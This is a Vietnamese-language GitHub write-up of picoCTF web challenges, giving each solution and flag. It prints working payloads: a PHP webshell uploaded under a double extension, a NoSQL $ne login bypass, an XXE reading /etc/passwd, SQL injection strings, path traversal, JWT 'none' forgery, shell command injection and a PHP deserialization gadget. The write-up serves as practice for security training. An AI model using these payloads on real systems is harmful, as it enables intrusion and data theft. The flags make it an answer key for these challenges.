Skip to content

nartgnourt/picoctf

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

31 Commits
 
 
 
 
 
 

Repository files navigation

picoctf-logo

picoCTF

WebDecode

Author: Nana Ama Atombo-Sackey

Do you know how to use the web inspector?\

Hints

Use the web inspector on other files included by the web page.
The flag may or may not be encoded

Solution

Truy cập vào URL của thử thách, chúng ta thấy một trang web như sau:

image

Nhấn chọn "ABOUT" và Inspect thì thấy có chuỗi cGljb0NURnt3ZWJfc3VjYzNzc2Z1bGx5X2QzYzBkZWRfMDJjZGNiNTl9 nằm trong attribute notify_true. Chuỗi đó có khả năng là flag được mã hóa:

image

Sử dụng CyberChef, chúng ta có thể nhận được flag từ chuỗi Base64:

image

Flag

picoCTF{web_succ3ssfully_d3c0ded_02cdcb59}

Unminify

Author: Jeffery John

I don't like scrolling down to read the code of my website, so I've squished it. As a bonus, my pages load faster!\

Hints

Try CTRL+U / ⌘+U in your browser to view the page source. You can also add 'view-source:' before the URL, or try curl <URL> in your shell.
Minification reduces the size of code, but does not change its functionality.
What tools do developers use when working on a website? Many text editors and browsers include formatting.

Solution

Vào thử thách, chúng ta có trang web sau:

image

Xem HTML source code, chúng ta lụm được flag:

image

Flag

picoCTF{pr3tty_c0d3_743d0f9b}

IntroToBurp

Author: Nana Ama Atombo-Sackey & Sabine Gisagara

Hints

Try using burpsuite to intercept request to capture the flag.
Try mangling the request, maybe their server-side code doesn't handle malformed requests very well.

Solution

Chúng ta có một trang web đơn giản cho phép đăng ký tài khoản:

image

Nhập vào thông tin và đăng ký thử:

image

Sau khi nhấn "Register", chúng ta được chuyển đến trang xác thực 2FA, yêu cầu nhập OTP:

image

Chúng ta không biết mã OTP là gì nhưng nếu đổi tham số otp thành otp[] sẽ bypass thành công và nhận được flag:

image

Flag

picoCTF{#0TP_Bypvss_SuCc3$S_2e80f1fd}

Bookmarklet

Author: Jeffery John

Why search for the flag when I can make a bookmarklet to print it for me?

Hints

A bookmarklet is a bookmark that runs JavaScript instead of loading a webpage. What happens when you click a bookmarklet? Web browsers have other ways to run JavaScript too.

Solution

Vào thử thách, chúng ta có một đoạn code JavaScript:

image

Copy đoạn code đó và paste vào tab Console để thực thi, chúng ta nhận được flag:

image

Flag

picoCTF{p@g3_turn3r_18d2fa20}

Local Authority

Author: LT 'syreal' Jones

Can you get the flag?

Hints

How is the password checked on this website?

Solution

Bắt đầu thử thách, chúng ta có một trang web như sau:

image

Đăng nhập thử với tài khoản admin:admin nhưng không thành công:

image

Khi xem HTML source code sẽ thấy có file secure.js:

image

Truy cập vào file secure.js, chúng ta thấy tài khoản của admin là admin:strongPassword098765:

image

Đăng nhập với tài khoản trên, chúng ta có được flag:

image

Flag

picoCTF{j5_15_7r4n5p4r3n7_b0c2c9cb}

Inspect HTML

Author: LT 'syreal' Jones

Can you get the flag?

Hints

What is the web inspector in web browsers?

Solution

Vào thử thách, chúng ta có trang web sau:

image

Sau khi xem HTML source code, chúng ta sẽ thấy phần comment chứa flag:

image

Flag

picoCTF{1n5p3t0r_0f_h7ml_fd5d57bd}

Includes

Author: LT 'syreal' Jones

Can you get the flag?

Hints

Is there more code than what the inspector initially shows?

Solution

Chúng ta có một trang web như sau:

image

Khi nhấn "Say hello", một alert xuất hiện nói code này ở một file khác, gợi ý sự tồn tại của một file JavaScript:

image

Xem HTML source code, chúng ta sẽ thấy có 2 files là style.cssscript.js:

image

Vào file style.css, chúng ta thấy phần đầu của flag:

image

Và vào file script.js, chúng ta lấy được phần flag còn lại:

image

Flag

picoCTF{1nclu51v17y_1of2_f7w_2of2_6edef411}

Cookies

Author: madStacks

Who doesn't love cookies? Try to figure out the best one.
http://mercury.picoctf.net:21485/

Solution

Vào URL của thử thách, chúng ta có một trang web như sau:

image

Nhập luôn chuỗi snickerdoodle và nhấn "Search" thì chúng ta vẫn chưa thấy flag đâu:

image

Chúng ta được cấp một cookie name=0:

image

Nếu chúng ta sửa 0 thành 1 vẫn không có flag:

image

Vậy, chúng ta sẽ sử dụng Burp Intruder để brute-force tìm ra con số phù hợp:

image

"Start attack" và sau chốc lát chờ đợi, với name=18, chúng ta có được flag:

image

Flag

picoCTF{3v3ry1_l0v3s_c00k135_94190c8a}

Scavenger Hunt

Author: madStacks

There is some interesting information hidden around this site http://mercury.picoctf.net:39698/. Can you find it?

Hints

You should have enough hints to find the files, don't run a brute forcer.

Solution

Vào URL của thử thách, chúng ta có một trang web như sau:

image

Xem HTML source code, chúng ta lấy được phần thứ nhất của flag:

image

Vào file mycss.css, chúng ta lấy được phần thứ hai:

image

Ở file myjs.js, phần comment đề cập tới Google, gợi ý trang web có file robots.txt:

image

Vào file robots.txt, chúng ta lụm được phần ba của flag:

image

Do ở trong file robots.txt có đề cập đến server Apache và từ Access được viết hoa chữ cái A nên chúng ta nghĩ tới có file .htaccess. Truy cập vào, chúng ta lấy được phần thứ tư:

image

Ở file .htaccess đề cập đến Mac và từ Store lại được viết hoa chữ cái đầu nên chúng ta sẽ truy cập vào file .DS_Store (một file ẩn mà Finder tự động tạo trong các thư mục để lưu trữ thông tin hiển thị của thư mục đó), lụm được phần cuối của flag:

image

Flag

picoCTF{th4ts_4_l0t_0f_pl4c3s_2_lO0k_fa04427c}

GET aHEAD

Author: madStacks

Find the flag being held on this server to get ahead of the competition http://mercury.picoctf.net:34561/

Hints

Maybe you have more than 2 choices
Check out tools like Burpsuite to modify your requests and look at the responses

Solution

Vào URL của thử thách, chúng ta có trang web cho phép lựa chọn màu sắc đỏ hoặc xanh:

image

Nhấn "Choose Blue" thì màu nền sẽ đổi thành xanh nhưng không có gì đặc biệt:

image

Tuy nhiên, theo tên của thử thách là GET aHEAD với GETHEAD được viết in hoa, chúng ta có thể nghĩ tới việc thay đổi request method.

Gửi request với method HEAD, chúng ta lụm thành công flag:

image

Flag

picoCTF{r3j3ct_th3_du4l1ty_8f878508}

dont-use-client-side

Author: Alex Fulton/Danny

Can you break into this super secure portal? https://jupiter.challenges.picoctf.org/problem/29835/ or http://jupiter.challenges.picoctf.org:29835

Hints

Never trust the client

Solution

Vào URL của thử thách, chúng ta có một trang web để nhập credentials:

image

Khi xem HTML source code, chúng ta sẽ có các mảnh của flag, công việc bây giờ là cần ghép chúng lại sao cho phù hợp:

image

Flag

picoCTF{no_clients_plz_7723ce}

logon

Author: bobson

The factory is hiding things from all of its users. Can you login as Joe and find what they've been looking at? https://jupiter.challenges.picoctf.org/problem/13594/ or http://jupiter.challenges.picoctf.org:13594

Hints

Hmm it doesn't seem to check anyone's password, except for Joe's?

Solution

Vào URL của thử thách, chúng ta có một trang web cho phép đăng nhập:

image

Chúng ta có thể đăng nhập thành công với tài khoản admin:admin:

image

Vẫn chưa thấy flag, kiểm tra sẽ có một cookie admin với giá trị False được chỉ định:

image

Vậy, chúng ta sẽ sửa giá trị của cookie admin thành True:

image

Tải lại trang web và chúng ta thấy được flag:

image

Flag

picoCTF{th3_c0nsp1r4cy_l1v3s_d1c24fef}

Insp3ct0r

Author: zaratec/danny

Kishor Balan tipped us off that the following code may need inspection: https://jupiter.challenges.picoctf.org/problem/44924/ or http://jupiter.challenges.picoctf.org:44924

Hints

How do you inspect web code on a browser?
There's 3 parts

Solution

Vào URL, chúng ta có một trang web đơn giản:

image

Xem HTML source code, chúng ta thấy phần thứ nhất của flag:

image

Truy cập vào file mycss.css, chúng ta lụm được phần thứ hai:

image

Và phần thứ ba của flag nằm ở trong file myjs.js:

image

Flag

picoCTF{tru3_d3t3ct1ve_0r_ju5t_lucky?f10be399}

where are the robots

Author: zaratec/Danny

Can you find the robots? https://jupiter.challenges.picoctf.org/problem/36474/ or http://jupiter.challenges.picoctf.org:36474

Hints

What part of the website could tell you where the creator doesn't want you to look?

Solution

Vào thử thách, chúng ta thấy trang web sau:

image

Nó hỏi robots ở đâu nên chúng ta có thể nghĩ tới trang web có file robots.txt. Truy cập vào, chúng ta thấy một file 477ce.html được chỉ định:

image

Vào file 477ce.html, chúng ta lụm được flag:

image

Flag

picoCTF{ca1cu1at1ng_Mach1n3s_477ce}

Trickster

Author: Junias Bonou

I found a web app that can help process images: PNG images only!

Solution

Vào URL của thử thách, chúng ta có một trang web cho phép tải lên file:

image

Thử tải lên một file ảnh để kiểm tra:

image

File chúng ta tải lên sẽ được lưu ở uploads:

image

Bên dưới là POST request khi chúng ta tải lên file. Chú ý response headers, chúng ta thấy server Apache với PHP phiên bản 8.0.30:

image

Vậy chúng ta sẽ tải lên một webshell PHP với tên shell.php. Thêm payload sau vào nội dung file để có thể thực hiện RCE:

<?=`$_GET[0]`?>

Gửi request, chúng ta thấy thông báo lỗi tên file không chứa .png:

image

Chúng ta có thể bypass bằng cách sử dụng tên file là shell.png.php. Tuy nhiên, lại có một thông báo lỗi mới là file không phải ảnh PNG hợp lệ:

image

Do đó, chúng ta sẽ thêm PNG vào nội dung file để bypass và tải lên webshell thành công:

image

Giờ truy cập tới /uploads/shell.png.php?0, chúng ta có thể thực thi lệnh.

Với lệnh ls .., chúng ta thấy có một file đáng nghi là GQ4DOOBVMMYGK.txt:

image

Đọc file đó với lệnh cat ../G*, chúng ta lụm flag thành công:

image

Flag

picoCTF{c3rt!fi3d_Xp3rt_tr1ckst3r_48785c0e}

No Sql Injection

Author: NGIRIMANA Schadrack

Can you try to get access to this website to get the flag? You can download the source here.

Hints

Not only SQL injection exist but also NonSQL injection exists.
Make sure you look at everything the server is sending back.

Solution

Chúng ta có một trang web cho phép đăng nhập:

image

Cùng phân tích source code được cung cấp để hiểu rõ cách thực hoạt động của trang web:

.
├── admin.html
├── index.html
├── package.json
└── server.js

Ở file server.js là code xử lý của server:

const express = require("express");
const bodyParser = require("body-parser");
const mongoose = require("mongoose");
const { MongoMemoryServer } = require("mongodb-memory-server");
const path = require("path");
const crypto = require("crypto");

const app = express();
const port = process.env.PORT | 3000;

// Middleware to parse JSON data
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));

// User schema and model
const userSchema = new mongoose.Schema({
  email: { type: String, required: true, unique: true },
  firstName: { type: String, required: true },
  lastName: { type: String, required: true },
  password: { type: String, required: true },
  token: { type: String, required: false, default: "{{Flag}}" },
});

const User = mongoose.model("User", userSchema);

// Initialize MongoMemoryServer and connect to it
async function startServer() {
  try {
    const mongoServer = await MongoMemoryServer.create();
    const mongoUri = mongoServer.getUri();
    await mongoose.connect(mongoUri);

    // Store initial user
    const initialUser = new User({
      firstName: "pico",
      lastName: "player",
      email: "picoplayer355@picoctf.org",
      password: crypto.randomBytes(16).toString("hex").slice(0, 16),
    });
    await initialUser.save();

    // Serve the HTML form
    app.get("/", (req, res) => {
      res.sendFile(path.join(__dirname, "index.html"));
    });

    // Serve the admin page
    app.get("/admin", (req, res) => {
      res.sendFile(path.join(__dirname, "admin.html"));
    });

    // Handle login form submission with JSON
    app.post("/login", async (req, res) => {
      const { email, password } = req.body;

      try {
        const user = await User.findOne({
          email:
            email.startsWith("{") && email.endsWith("}")
              ? JSON.parse(email)
              : email,
          password:
            password.startsWith("{") && password.endsWith("}")
              ? JSON.parse(password)
              : password,
        });

        if (user) {
          res.json({
            success: true,
            email: user.email,
            token: user.token,
            firstName: user.firstName,
            lastName: user.lastName,
          });
        } else {
          res.json({ success: false });
        }
      } catch (err) {
        res.status(500).json({ success: false, error: err.message });
      }
    });

    app.listen(port, () => {
    });
  } catch (err) {
    console.error(err);
  }
}

startServer().catch((err) => console.error(err));

Để lấy được flag, chúng ta cần phải đăng nhập thành công vào email picoplayer355@picoctf.org. Tuy nhiên, chúng ta lại không biết mật khẩu của người dùng này bởi nó được tạo ngẫu nhiên.

Chúng ta cần tập trung vào đoạn code xử lý tại route /login:

app.post("/login", async (req, res) => {
      const { email, password } = req.body;

      try {
        const user = await User.findOne({
          email:
            email.startsWith("{") && email.endsWith("}")
              ? JSON.parse(email)
              : email,
          password:
            password.startsWith("{") && password.endsWith("}")
              ? JSON.parse(password)
              : password,
        });

        if (user) {
          res.json({
            success: true,
            email: user.email,
            token: user.token,
            firstName: user.firstName,
            lastName: user.lastName,
          });
        } else {
          res.json({ success: false });
        }
      } catch (err) {
        res.status(500).json({ success: false, error: err.message });
      }
    });

Trong trường hợp giá trị của tham số email hoặc password mà bắt đầu với { và kết thúc với } thì nó sẽ được chuyển thành object bởi hàm JSON.parse(). Cộng thêm việc server sử dụng mongoose nên đó chính là điều kiện lý tưởng để khai thác lỗi NoSQL Injection.

Do đó, chúng ta sẽ có thể sử dụng payload sau để gửi request. Thực hiện đăng nhập với điều kiện emailpicoplayer355@picoctf.orgpassword không phải là xxx:

{
  "email":"picoplayer355@picoctf.org",
  "password":"{\"$ne\":\"xxx\"}"
}

Gửi request và lụm thành công flag:

image

Flag

picoCTF{jBhD2y7XoNzPv_1YxS9Ew5qL0uI6pasql_injection_25ba4de1}

SOAP

Author: Geoffrey Njogu

The web project was rushed and no security assessment was done. Can you read the /etc/passwd file?

Hints

XML external entity Injection

Solution

Vào URL của thử thách, chúng ta có trang web sau:

image

Khi nhấn "Details", chúng ta thấy một thông báo xuất hiện ở phía dưới:

image

Kiểm tra request, chúng ta sẽ thấy đó là một POST request với dữ liệu XML được gửi đi trong body:

image

Chúng ta có thể nghĩ ngay tới việc khai thác lỗ hổng XXE. Theo như mô tả, mục tiêu của chúng ta là đọc file /etc/passwd nên sử dụng payload sau:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE abc [<!ENTITY etc SYSTEM 'file:///etc/passwd'>]>
<data>
    <ID>
      &etc;
    </ID>
</data>

Gửi đi request, chúng ta thấy flag nằm trong response:

image

Flag

picoCTF{XML_3xtern@l_3nt1t1ty_e5f02dbf}

More SQLi

Author: Mubarak Mikail

Can you find the flag on this website.

Hints

SQLiLite

Solution

Chúng ta có một trang web cho phép đăng nhập như sau:

image

Thử đăng nhập với tài khoản admin:admin, chúng ta thấy trang web hiển thị ra câu truy vấn SQL:

image

Có thể thấy cả 2 giá trị mà chúng ta nhập đang được truyền thẳng vào trong cặp dấu '.

Lỗi server 500 khi chúng ta thực hiện đăng nhập với thông tin sai:

image

Chúng ta sẽ khai thác SQL Injection với payload cơ bản sau để khiến điều kiện ở mệnh đề WHERE đúng:

username=admin&password=' OR 1=1--

Gửi request, chúng ta lấy được flag:

image

Flag

picoCTF{G3tting_5QL_1nJ3c7I0N_l1k3_y0u_sh0ulD_62aa7500}

MatchTheRegex

Author: Sunday Jacob Nwanyim

How about trying to match a regular expression

Hints

Access the webpage and try to match the regular expression associated with the text field

Solution

Chúng ta có một trang web cho phép nhập vào dữ liệu:

image

Nhập thử "a", chúng ta nhận thông báo kết quả không khớp:

image

Xem đoạn code JavaScript bên dưới, chúng ta có thể hiểu là server sẽ cho phép nhập vào một chuỗi regex, nếu nó có thể khớp với chuỗi flag thì chúng ta nhận được flag:

image

Vậy nhập vào đoạn regex picoCTF{.*} với .* để khớp tất cả các ký tự ngoại trừ dấu xuống dòng, chúng ta có thể lụm flag:

image

Flag

picoCTF{succ3ssfully_matchtheregex_2375af79}

findme

Author: Geoffrey Njogu

Help us test the form by submiting the username as test and password as test!

Hints

any redirections?

Solution

Chúng ta có một trang web cho phép nhập vào thông tin tài khoản để kiểm tra:

image

Sau khi đăng nhập với tài khoản test:test! được đề cập trong mô tả, chúng ta thấy rằng bị redirect mấy lần và tới trang sau:

image

Kiểm tra HTTP history trong Burp Suite, chúng ta thấy flag được chia thành 2 phần và mã hóa Base64 rồi truyền tới tham số id, bên dưới là phần đầu:

image

Và phần cuối của flag:

image

Flag

picoCTF{proxies_all_the_way_a0fe074f}

SQLiLite

Author: Mubarak Mikail

Can you login to this website?

Hints

admin is the user you want to login as.

Solution

Truy cập vào URL của thử thách, chúng ta thấy một giao diện đăng nhập như sau:

image

Mục tiêu của chúng ta là đăng nhập với người dùng admin, thử đăng nhập với tài khoản admin:admin, chúng ta thấy thông báo đăng nhập thất bại kèm theo câu truy vấn xuất hiện:

image

Cả tên người dùng và mật khẩu đều được truyền vào cặp dấu ' nên có thể khai thác SQL Injection tại đây.

Chúng ta sẽ chỉ cần nhập tên người dùng là admin'-- để bypass thành công:

image

Đã đăng nhập thành công nhưng flag ở đâu?

image

Xem HTML source code, chúng ta thấy flag:

image

Flag

picoCTF{L00k5_l1k3_y0u_solv3d_it_d3c660ac}

SQL Direct

Author: Mubarak Mikail / LT 'syreal' Jones

Connect to this PostgreSQL server and find the flag!
psql -h saturn.picoctf.net -p 62220 -U postgres pico
Password is postgres

Solution

Chúng ta sẽ sử dụng luôn webshell trên pico để chạy lệnh kết nối tới PostgreSQL server.

Lệnh xem các bảng trong database hiện tại:

\dt

Lấy tất cả các bản ghi từ bảng flags với câu truy vấn:

SELECT * FROM flags;

image

Flag

picoCTF{L3arN_S0m3_5qL_t0d4Y_31fd14c0}

Secrets

Author: Geoffrey Njogu

We have several pages hidden. Can you find the one with the flag?

Hints

folders folders folders

Solution

Vào thử thách, chúng ta có trang web sau:

image

Xem HTML source code, chúng ta thấy có một đường dẫn đáng nghi secret/assets/DX1KYM.jpg:

image

Khi gửi request tới /secret/, chúng ta lại thấy có thư mục hidden:

image

Gửi request tới /secret/hidden/, chúng ta thấy có thư mục tiếp theo là superhidden:

image

Và khi request tới /secret/hidden/superhidden/, chúng ta lụm thành công flag:

image

Flag

picoCTF{succ3ss_@h3n1c@10n_39849bcf}

Search source

Author: Mubarak Mikail

The developer of this website mistakenly left an important artifact in the website source, can you find it?

Hints

How could you mirror the website on your local machine so you could use more powerful tools for searching?

Solution

Chúng ta có trang web như sau:

image

Xem HTML source code, chúng ta đi vào file css/style.css sẽ thấy có flag:

image

Flag

picoCTF{1nsp3ti0n_0f_w3bpag3s_8de925a7}

Roboto Sans

Author: Mubarak Mikail

The flag is somewhere on this web application not necessarily on the website. Find it.

Solution

Vào URL của thử thách, chúng ta có một trang web như sau:

image

Truy cập vào file robots.txt, chúng ta thấy có một đoạn chuỗi Base64 khả nghi. Khi decode thì thấy đường dẫn js/myfile.txt:

image

Truy cập tới js/myfile.txt, chúng ta có thể lấy flag thành công:

image

Flag

picoCTF{Who_D03sN7_L1k5_90B0T5_718c9043}

Power Cookie

Author: LT 'syreal' Jones

Can you get the flag?

Hints

Do you know how to modify cookies?

Solution

Vào thử thách, chúng ta có trang web đơn giản sau:

image

Khi nhấn "Continue as guest", chúng ta nhận một lời xin lỗi:

image

Nếu kiểm tra cookies, chúng ta sẽ thấy có cookie isAdmin với giá trị 0:

image

Vậy chúng ta sẽ đổi 0 thành 1:

image

Tải lại trang web, chúng ta nhận được flag:

image

Flag

picoCTF{gr4d3_A_c00k13_5d2505be}

Forbidden Paths

Author: LT 'syreal' Jones

Can you get the flag? We know that the website files live in /usr/share/nginx/html/ and the flag is at /flag.txt but the website is filtering absolute file paths. Can you get past the filter to read the flag?

Solution

Vào thử thách, chúng ta có trang web cho phép đọc file:

image Đọc thử file oliver-twist.txt:

image

Bên dưới là POST request tới /read.php để thực hiện đọc file:

image

Chúng ta thử thay đổi giá trị của tham số filename thành /etc/passwd để đọc file này. Tuy nhiên, không thể đọc được:

image

Đúng theo mô tả, chúng ta không được sử dụng đường dẫn tuyệt đối để đọc file.

Vậy chúng ta có thể bypass bằng cách sử dụng ../:

image

Và đọc flag thành công với payload:

../../../flag.txt

image

Flag

picoCTF{7h3_p47h_70_5ucc355_e5fe3d4d}

JAuth

Author: Geoffrey Njogu

Most web application developers use third party components without testing their security. Some of the past affected companies are:

  • Equifax (a US credit bureau organization) - breach due to unpatched Apache Struts web framework CVE-2017-5638
  • Mossack Fonesca (Panama Papers law firm) breach - unpatched version of Drupal CMS used
  • VerticalScope (internet media company) - outdated version of vBulletin forum software used

Can you identify the components and exploit the vulnerable one?
The website is running here. Can you become an admin?
You can login as test with the password Test123! to get started.

Hints

Use the web browser tools to check out the JWT cookie.
The JWT should always have two (2) . separators.

Solution

Vào thử thách, chúng ta có một trang web cho phép đăng nhập như sau:

image

Đăng nhập thành công với tài khoản được cung cấp test:Test123! nhưng không thấy có gì xuất hiện:

image

Chúng ta kiểm tra request tới /private, thấy có một cookie token là JWT:

image

Xem trong phần payload của chuỗi JWT có chứa "role":"user":

image

Theo như mô tả cũng như tìm kiếm thông tin liên quan, chúng ta xác định có thể khai thác JWT sử dụng None Algorithm.

Trước tiên, thay giá trị của "role" thành "admin":

image

Chúng ta đổi giá trị của "alg" thành "none":

image

Xóa đi phần signature nhưng cần giữ lại dấu . ở cuối:

image

Cuối cùng, gửi request chúng ta thấy flag:

image

Flag

picoCTF{succ3ss_@u7h3nt1c@710n_72bf8bd5}

caas

Author: BrownieInMotion

Now presenting cowsay as a service

index.js

Solution

Vào thử thách, chúng ta có một trang web sau:

image

Phân tích source code được cung cấp, chúng ta nhận thấy ngay lỗ hổng OS Command Injection tồn tại ở tham số message trong path. Giá trị của tham số message được truyền vào làm đối số của lệnh /usr/games/cowsay:

...
app.get('/cowsay/:message', (req, res) => {
  exec(`/usr/games/cowsay ${req.params.message}`, {timeout: 5000}, (error, stdout) => {
    if (error) return res.status(500).end();
    res.type('txt').send(stdout).end();
  });
});
...

Vậy chúng ta sẽ sử dụng payload $(ls), xác định được có file falg.txt ở thư mục hiện tại:

image

Đọc file đó với payload $(cat${IFS}falg.txt), trong payload này, chúng ta dùng ${IFS} để tránh khoảng trắng khiến lệnh không thể thực thi:

image

Ngoài ra, chúng ta cũng có thể sử dụng một số payload khác:

image

image

Flag

picoCTF{moooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0o}

login

My dog-sitter's brother made this website but I can't get in; can you help?

https://login.mars.picoctf.net/

Vào URL của thử thách, chúng ta có trang web cho phép đăng nhập như sau:

image

Tuy nhiên, nếu xem HTML source code, chúng ta sẽ thấy có một file index.js:

image

Nội dung file index.js sẽ như sau:

(async () => {
  await new Promise((e) => window.addEventListener("load", e)),
    document.querySelector("form").addEventListener("submit", (e) => {
      e.preventDefault();
      const r = { u: "input[name=username]", p: "input[name=password]" },
        t = {};
      for (const e in r)
        t[e] = btoa(document.querySelector(r[e]).value).replace(/=/g, "");
      return "YWRtaW4" !== t.u
        ? alert("Incorrect Username")
        : "cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ" !== t.p
        ? alert("Incorrect Password")
        : void alert(`Correct Password! Your flag is ${atob(t.p)}.`);
    });
})();

Decode Base64 chuỗi cGljb0NURns1M3J2M3JfNTNydjNyXzUzcnYzcl81M3J2M3JfNTNydjNyfQ, chúng ta có được flag:

image

Flag

picoCTF{53rv3r_53rv3r_53rv3r_53rv3r_53rv3r}

Super Serial

Try to recover the flag stored on this website

http://mercury.picoctf.net:25395/

Hints

The flag is at ../flag

Vào URL của thử thách, chúng ta thấy giao diện web cho phép đăng nhập:

image

Khi truy cập vào file robots.txt, chúng ta thấy admin.phps được chỉ định:

image

Tuy nhiên, khi vào admin.phps lại nhận được dòng chữ "Not Found":

image

Vậy, sẽ ra sao nếu chúng ta đổi admin thành index? Chúng ta có thể đọc được nội dung của file index.phps:

image

Từ đoạn code trên, chúng ta thấy server có file cookie.php. Nếu đăng nhập thành công là guest hoặc admin, object $perm_res sẽ được serialized và mã hoá Base64 rồi gán cho cookie login. Sau đó, điều hướng tới authentication.php:

<?php
require_once("cookie.php");

if (isset($_POST["user"]) && isset($_POST["pass"])) {
    $con = new SQLite3("../users.db");
    $username = $_POST["user"];
    $password = $_POST["pass"];
    $perm_res = new permissions($username, $password);
    if ($perm_res->is_guest() || $perm_res->is_admin()) {
        setcookie("login", urlencode(base64_encode(serialize($perm_res))), time() + (86400 * 30), "/");
        header("Location: authentication.php");
        die();
    } else {
        $msg = '<h6 class="text-center" style="color:red">Invalid Login.</h6>';
    }
}

Quay lại truy cập vào authentication.phps để xem được nội dung file code. Tại đó, có một class access_log có khả năng đọc file khi object thuộc class này được sử dụng như string:

image

File cookie.phps có nội dung như sau:

<?php
session_start();

class permissions {
    public $username;
    public $password;

    function __construct($u, $p) {
        $this->username = $u;
        $this->password = $p;
    }

    function __toString() {
        return $u . $p;
    }

    function is_guest() {
        $guest = false;

        $con = new SQLite3("../users.db");
        $username = $this->username;
        $password = $this->password;
        $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
        $stm->bindValue(1, $username, SQLITE3_TEXT);
        $stm->bindValue(2, $password, SQLITE3_TEXT);
        $res = $stm->execute();
        $rest = $res->fetchArray();
        if ($rest["username"]) {
            if ($rest["admin"] != 1) {
                $guest = true;
            }
        }
        return $guest;
    }

    function is_admin() {
        $admin = false;

        $con = new SQLite3("../users.db");
        $username = $this->username;
        $password = $this->password;
        $stm = $con->prepare("SELECT admin, username FROM users WHERE username=? AND password=?");
        $stm->bindValue(1, $username, SQLITE3_TEXT);
        $stm->bindValue(2, $password, SQLITE3_TEXT);
        $res = $stm->execute();
        $rest = $res->fetchArray();
        if ($rest["username"]) {
            if ($rest["admin"] == 1) {
                $admin = true;
            }
        }
        return $admin;
    }
}

if (isset($_COOKIE["login"])) {
    try {
        $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        $g = $perm->is_guest();
        $a = $perm->is_admin();
    } catch (Error $e) {
        die("Deserialization error. " . $perm);
    }
}

Chúng ta thấy tại đoạn code dưới tồn tại lỗ hổng PHP Deserialization. Giá trị của cookie login ở dạng Base64 được truyền vào hàm unserialize().

Để ý object $perm được truy cập như string ở hàm die("Deserialization error. " . $perm); trong trường hợp xảy ra lỗi. Do đó, ý tưởng của chúng ta là chỉ thực hiện serialize object thuộc class access_log. Để khi object $perm được tạo ra sau quá trình unserialize() sẽ không có method is_guest(). Từ đó, truy cập vào $perm->is_guest(); sẽ xảy ra lỗi và nhảy xuống khối catch:

if (isset($_COOKIE["login"])) {
    try {
        $perm = unserialize(base64_decode(urldecode($_COOKIE["login"])));
        $g = $perm->is_guest();
        $a = $perm->is_admin();
    } catch (Error $e) {
        die("Deserialization error. " . $perm);
    }
}

Vậy, chúng ta sẽ viết đoạn code dưới để tạo payload. Chúng ta đặt giá trị của attribute $log_file../flag để khi object này được truy cập như string nó sẽ gọi tới hàm read_log() và đọc được file ../flag:

<?php
class access_log {
    public $log_file;

    function __construct($lf) {
        $this->log_file = $lf;
    }
}

$obj = new access_log("../flag");

echo base64_encode(serialize($obj));
// TzoxMDoiYWNjZXNzX2xvZyI6MTp7czo4OiJsb2dfZmlsZSI7czo3OiIuLi9mbGFnIjt9

Thêm chuỗi vừa tạo vào cookie login và gửi request tới /authentication.php, chúng ta có thể đọc được flag:

image

Flag

picoCTF{th15_vu1n_1s_5up3r_53r1ous_y4ll_405f4c0e}

About

picoCTF write-up

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published